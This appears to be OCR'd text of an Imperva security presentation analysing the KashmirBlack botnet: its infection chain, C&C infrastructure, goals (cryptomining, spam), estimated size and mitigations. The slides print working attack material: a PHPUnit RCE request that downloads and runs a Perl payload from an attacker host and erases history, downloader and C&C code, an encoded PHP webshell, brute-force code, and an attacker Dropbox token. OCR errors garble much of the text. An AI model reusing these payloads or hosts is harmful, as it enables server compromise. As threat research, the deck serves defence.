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Research
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Research goals

How the botnet operates

What is its purpose

When it started
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Initial discovery

Attack trend study

High exploitation of PHPUnit RCE
CVE-2017-9841
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PHPUnit quick review

PHPUnit Remote Code Execution
CVE-2017-9841

W

WORDPRESS

%% PrestaShop

I/U\I Magento

Drupal
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How the botnet operates
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Analysis of the Initial Request

POST /example/vendors)fphpunit/phpunit/src/Util/PHP/eval-stdin.php |[HTTP

HOST: www.example.com

Connection: keep—alive

Accept-Encoding: gzip, deflate

Accept: */x*

User-Agent: Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Iron/13.0.800.0 Chrome/
13.0.800.0 Safari/535.1

Upgrade-Insecure—-Requests:1

Content-Llength: 190

?php system(Tcurl -—insecure L -o /tmp/traber.pl -C -
https://repositorybsd.uk.to/traber.pl; perl /tmp/traber.pl; crontab -1;
rm -rf /tmp/traber.pl; history -c;|rm -rf $HOME/.bash_history") |?
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The payload - “traber.pl ”

?&-..r;:u 1

system("crontab -1
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The payload - “traber.pl " decoded

import os
import time
import hashlib

hashlib.md5(b"' '+(time.ctime(time.time())).encode())

'.' + yx.hexdigest() v = downloader
#| update.py
.system('""’ r—
export PATH=/sbin:/usr/sbin:/bin:/usr/bin; v 22 lib
export SHELL=/bin/sh; # __init__.py

export TERM=xterm-256color;
export _=/usr/bin/env; % L
cd /tmp; | __Init___.pyc
mkdir ; > B9 pylib

cd ;

mkdir .tmb; cd .tmb; I downloader 7ip
mkdir .6; cd .6; '

# pythonmodule.py

# pythonmodule.pyc

--1nsecure https://www.tonerbooth.com/css/inmemoryd.css -0 downloader.zip;
unzip -o -P adeliaputril996 downloader.zip;
rm -rf downloader.zip;
python update.py;
rm -rf /tmp/;
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“update.py ”

requestw(self):
sleepnum = self.randomnumber()

time.sleep(int(sleepnum))
==t [ hffp cetheader{cself header)

self.http.get('aHROCHM6LY9yZXBvc210b3I5YnNkLnVrLnRvL2FyY2hlcmhvbWUvawW5kZXgucGhw' | decode( 'base64'))
selLi.Nnttp.getcantctenty ) = .
“Nscript\”:" self.http.getcontent():
contentget = self.http.getcontent()
contentgetdecoded = self.jsondecoder.decode(contentget)
scriptt = re.sub(r'\\u0020', ' ', contentgetdecoded['script'], re.M|re.I)
script = re.sub(r'\\u0020', ' ', scriptt, re.M|re.I)
payload = contentgetdecoded|'payload’]
argv = contentgetdecoded[ 'argv']
randomize = self.randomname( )
self.savedownload(payload, randomize)
executor = "%s %s %s" % (script, randomize, argv)
os.system(executor)

self.requestw()
self.requestw()

11 Proprietary and confidential. Do not distribute. Imperva




“update.py ” request

GET /archerhome/index.php HTTP/1.1
Host: repositorybsd.uk.to
Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: ArcherGhost8

Upgrade-Insecure-Requests: 1
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“update.py " response

"script":'{curl|-—insecure -L -o inmemory.css -C - https://mrdsect.org/css/inmemoryupl.css;

unzip -o -P_adeliaputril996 inmemory.css;
rm —rf inmemory.css;

python upl.py",

"payload":"sitel.com
secondsite.com
thirdsite.com",

"argv":"machinehostname"
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Download
“traber.pl”

\ 4

Cron job

| “downloader.zip”

Attack
instructions

E—

C&C
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Download

A 4

contains
“update.py”
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Attack instructions analysis

[ )
P [ )
) [ )
& )» .
GET I B
Igﬁ_ bot C&C JSON °
parsing...

“CSS” files:

@® Inmemorycms.css

Inmemoryd.css
Inmemorydav.css
Inmemoryelf.css
Inmemoryjq.css

Many Repositories -

compromised sites
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Repository B
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@ Stores the bundles
e Hiding under the /css directory
e Start with ‘inmemory’ prefix

e Disguise zip files with .css extension

Proprietary and confidential. Do not distribute.
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“vBulletin ” Bundle

Supporting package

-E!l'-' __init__.pyc

v Q pylib

> g certifi-2018.11.29
> E chardet-3.0.4

v

> Q colorama-0.3.9

> E idna-2.6
> E requests-2.19.1
> Q threading2-0.3.1

> E urllib3-1.22

@) pythonmodule.py

e
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“vBulletin * Bundle

Entry point

python vb.py

domainsfile = str(sys.argv[1])
server = str(sys.argv[2])

ArcherPrepareMain = PrepareArcher()
ArcherPrepareMain.setdomainsfile(domainsfile)

ArcherPrepareMain.setserver(server)
ArcherPrepareMain.run()
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“vBulletin * Bundle

The “manager”

—
Ay executor

@ _ init__.py

f—,
# executor

v

¥ __init__.pyc

I—1

#  ExecutorVbulletin.py

¥ ExecutorVbulletin.pyc

paths = 'vb5/', 'vb4', 'forum/',6 'forums/', 'frm/', 'community/', 'thread/’',
'threads/', 'posts/', 'member/', 'members/', 'vb/', 'vbull/', 'vbulletin/',

'vbulletin/', 'demo/', 'Forum/', 'Forums/', 'VB/', 'Vb/', 'Vbulletin/', 'VBULLETIN/',

'vhweb/', 'webvb/', 'glossary/', 'Glossary/',6 'discussion/', 'Discussion/',
'Student/', 'student/', 'Students/', 'students/', 'forumindex/', 'forum-mobile/',

T AT e e

'forum-web/', 'forumweb/', 'longdeg/'l]

exploitedurl = []
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“vBulletin * Bundle

Exploit

v exploit

@ _ init__.py

senddata = pythonmodule.senddata(jsondata)

senddata.sendnow()

¥ __init__.pyc

> v vbulletin

@ _ init__.py

¥ __init__.pyc

¢ VbulletinRce.py

¥ VbulletinRce.pyc
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Bundle reporting

POST /adeliap/404.php HTTP/1.1
Host: repostitorybsd.uk.to

Connection: Keep-Alive
User-Agent: ArcherGhost

http.setheader({'User-Agent': 'ArcherGhost'})
http.setpostdata({'post': encodeddata})

http.post('aHROcHM6LY9YyZXBvc210b3J5YnNkLnVrLnRVL2FkZWxpYXAVNDAGLNBocAo
='.decode('baseb4'))

jsondata = self.jsonencoder.encode({'type': 'scanner',6 'data':
{'title': 'vb', 'server': self.server, 'domain': uploaded}})
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Bundle payloads

File upload

<?php error_reporting(@);

echo "<title>Not</title>"; Flle upload

echo "<form method=post enctype=multipart/form-data>";

echo "<lnput type=file name=f><input name=v type=submit id=v value=up><br>";
if ($_POST["v"] == up)

-1

if (@copy($_FILES["f"]["tmp_name"], $_FILES["f"]["name"]))

{
echo "<b>Ok</b>-->" . $_FILES["f"I["name"];

}

else

{
echo "<b=ERRoR";

}

7>

self.payloaddata = "PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApO02V3jaG8iPHRpdGXx1Pk5vdDwvdG1lObGU
+I17t1Y2hv]Ijxmb3JtIG11dGhvZD1wb3NOIGVUY3R5cGUIbXVsdGlwYXIOL2ZvemOtZGFOYT4102VjaG81PGluc
HVOIHR5cGU9ZmLlsZSBuYW1LPWY
+PGLucHVOIG5hbWU9diBOeXB1PXN1Ym1pdCBpZD12IHZhbHV1IPXVwWPixicj4i021mKCRFUE9TVESidiJdPT11c
Cl7IGUmKEBjb3B5KCRFRKLMRVNbImYiXVsidGIwX25hbWUiXSwkXOZJTEVTWyImI11bIm5ShbWUiXSkpe2VjaG8
iPGI+T2s8L2I+LSO+Ii4kX0ZJTEVIWYImI11bImShbWUiIXTt9ZWxzZXt1Y2hvIjxiPKVSUM9SIjtofT8+"

(=R RN s IRV, R WU N
A
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Bundle payloads

WordPress brute force

v

> 5 bruteforce

23 Proprietary and confidential. Do not distribute.

+ 3 bruteforce
“ __init__.py
& __init__.pyc
“ SubmitLogin.py
€ SubmitLogin.pyc
“ XmlrpcLogin.py
€ XmlrpcLogin.pyc

)it I
headerget = {"User-Agent":

f.useragent, "Upgrade-Insecure-Requests": "1"}

headerpost = {"User-Agent": f.useragent, "Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded"}

postdata = {"log": f.username,"pwd": f.password, "wp-submit": "Log+In",

.url+"wp-admin/"}

t(60)

"redirect_to":

cookies.u 10670.44a67d6d088eead577e219cdb9c1a%26.1549531044896

.1549531044896.1549531044896.1", "hubspotutk":
"44a67d6d088eeadb77e219cdb9cla926", "__hssrc": "1", "__hssc":
"810670.2.1549531044897"})
1)
(headerpost)
(cookies)

2 (postdata)

imperva



Bundles summary

Partial Vulnerabilities List:

24

@® CVE-2019-16759 - vBulletin Widget RCE

CVE-2019-9194 - ELFinder Command Injection
CVE-2018-9206 - JQuery file upload
CVE-2015-2067 - Magneto Local File Inclusion
CVE-2015-7571 - Plupload File Upload
CVE-2011-4106 - WordPress TimThumb RFI

Proprietary and confidential. Do not distribute.

Main vulnerability categories:

@® Remote Code execution (RCE)
@® File upload
@® Remote File Inclusion (RFI)
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What is the botnet purpose
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Honeypot creation

A

Victim Server
(Running CMS)
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Report

Q)
Qo
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Play as a victim

Report the C&C of a successful Upload second webshell with command
attack execution

Attacker approach the honeypot Escalate privileges

Outcome: Complete control on the infected server
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Botnet purpose

Click bite and crypto mining

- s @
q Chrome search contest 2020

You've made the 5-billionth search.

&
iodl - © Y 4
Congratulatiod® You may be our next lucky winner!
Our last winner was Brad Jenkins from London g, who won a Samsung KU6179 Ultra HD TV on
14.05.2019 with his 5-billionth Search.
Every tigge the 5-billionth search is reached, we proclaim a winner and reset the cotnter. *
1 You may choose one of t¥ee hidden prizes below. Ingaddition, youwill inaes —
and receive a winner's certificate. 44qSPEgLnC5CF7ajChi4UZK5Z89tiaXiwcU8BGJ1yNB8NcrwhuiSrRRb3gSmhaGLABSERuJs3FhdmAgJfiGiHASmM21DHES
Behind every box is a prize. Click on a box to uncover it. 3 GENERAL >_STREAM ¥ SHARES &' REWARDS (451) S PAYMENTS (2) & BLOCKS (0] 0) & SETTINGS
For technical reasons, we are not allowed to keep your invitation op4g
Choose one gf the prizes below and follow the instruclins on your scré
| | I

CHOOSE

Hash R:
86 kH/s | 15.71 kH/s | 15.64 kH/s | 15.68 kH/s Avel

Current Effort

Total H

Total Shar

Last Share

Expected Block Time
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Botnet purpose

Spreading and pending bots

Spreading Bot:

P
l

Victim Server
(Running CMS)

v

Spreadl g bot

i

O
Qo
@)

Pending Bot:

i<

Vlctﬁ‘Server

(Running CMS)

i

Q)
Qo
@
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Botnet Entities

Bot Infrastructure Third Party Services Botnet Actors
X
GitHub
09* .
GO
- @ PASTEBIN
Repository B N Spreading Bot &
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When it all started
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The birth of KashmirBlack botnet

https: /github.com/kashmirblack?tab=repositories

KashmirBlack
Location Repositories
Zimbawe 8

o @kashmirblack Jul 30th, 2017 Added by GitHub

28—-05-2016
YankesR - KashmirBlack

Greets PhantomGhost@2015

HAEHRHFAHRITHIERR
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KashmirBlack activity timeline

Code Analysis First notlc.e . Last evidence
botnet activity
T—November 201 Hf‘)ber 2020 %
May 2016 January 2020 June 2021
Requests in our Blogs
data publication
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KashmirBlack evolution
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- Initial state

Infrastructure phase 1
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Infrastructure phase 2 - spreading the bundles
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Infrastructure phase 3 - load balancing and hiding the C&C

Vietim cle Repository C Instruction server Load balancer Repository 4 and B

= E | & o o e

PHPUnt RCE . | ! ! ! '
o | I 1 1 | ]
P | trabergl .9' i | l
L} 1 I
' i | |
1 | I
1 |
1

s%bot
=

|
- | |
., -
3 M;,:‘] : : Location qlpg ufwhteﬁ . :
L= X 1 X
: | 1
| 1
I update.py
: |
: I I 1
| 1 | I
updote.py | | Get attack instructions ﬁ
: ; TsoN |
I
I
|
i
I

i I
1 1
i I
1 1
i I

Get bundle nmemorys.css . i Kkt
1 L _

T | i | i ' X

e
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”ﬂlﬂ' vieTim

Attock .

[eve |
> o
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- using Dropbox

Infrastructure phase 4

~
i

|

Gel atlack

wr—

€ inmemory*.css

] e

imperva
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Breaking into the attackers Dropbox account

POST /2/files/list_folder HTTP/1.1

Host: api.dropboxapi.com

Authorization: Bearer so3_Lx9nmGMAAAAAAAAAATT4Qqr9gqlL9pZMy64PonHCep@EIcMjY7kH6nSCD]j VRS
Content-Length: 238

Content-Type: application/json

{"limit": 150, "recursive": false, "include_media_info": false, "include_non_downloadable_files": true, "include_mounted_folders": true, "path":
"/adeliap/payload/", "include_has_explicit_shared_members": false, "include_deleted": false}

adeliap

> payload — 400 thousands of instructions

| —> & loot

nosgl — 1 report
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Communication - attack instructions requests

GET /archerhome/index.php HTTP/1.1 are yme/index.p / are yme/index.p
Host: repositorybsd.uk.to epositorybsd. uk. tc Host: eagles7.mooo.com
Connection: keep-alive ceep ' ceep '
Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: ArcherGhost8 § \rcne

Upgrade-Insecure-Requests: 1 IP: 30.60.20.10

COUNTRY: IL

POST /2/files/download HTTP/1.1

Host: content.dropboxapti.com

Authorization: Bearer so3_Lx9nmGMAAAAAAAAAATT4Qqr9gqlL9pZMy64PonHCepOEICM]jY7kH6NSCD jVRS
Dropbox-API-Arg: {'path': '/adeliap/payload/fa9160fbblb88295edchb6fbf96d834af.txt"'}

Content-Length: @
Content-Type: application/json
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Communication - new notification

POST /adeliap/405.php HTTP/1.1
Host: eagles7.mooo.com
Connection: Keep-Alive
User-Agent: ArcherGhostNotify

{"post": "aHROcDovL3d3dy51eGFtcGXxLLmNvbS90YWNrZWQucGhwCg=="}

Owned by Exectl337 !<br>PhantomGhost<br><br>
Greets: 4prili666h05T - Mr.3RROR - Mr.Aljabar - Exect1l337 - Z3U54774CK - N1C3x13 - 6hosthere502 D34D~5LO0P - IF22 -
213_90N6 - Netr4LizeR
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KashmirBlack estimated botnet size
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@® 285 bots

480 attacks per day for single bot
140K attacks per day

0.5% of success

1000 new bots

By day 7 almost half million bots

Proprietary and confidential. Do not distribute.

bots vs. days

500000
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300000
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200000

100000

0
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Detections and mitigations
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Indicators

—

Patch File Cron jobs
management extensions

4 5 | 6

Reduce tmp 3rd party
attack directory services
surface
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Patch management
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File extensions

> inmemoryvb.css

inmemoryvb.css: Zip archive data, at least v1.0 to extract
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Cron jobs

g * % w % % c~ommand to execute

FTTT

T T
# | |
# | |
= | L—— day of week (0 - 7)
# ' month (1 — 12)
= ' day of month (1 - 31)
# ' hour (0 - 23)
# | min (0 — 59)
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Reduce attack surface

)

S curk//
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“tmp ” directory
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tmp

Proprietary and confidential. Do not distribute.

Owners assigned Permission On Every File and Directory

Read
Write
Execute

Read
Write
Execute

Read
Write
Execute
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3rd party services

& Dropbox ) piscord

C)

GitHub

PASTEBIN
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Imperva

Thank You!

Sarit Yerushalmi and Vitaly Simonovich

sarit.yerushalmi@imperva.com
Twitter: @sarity85

vitalys@imperva.com
Twitter: @_CyberJoker __
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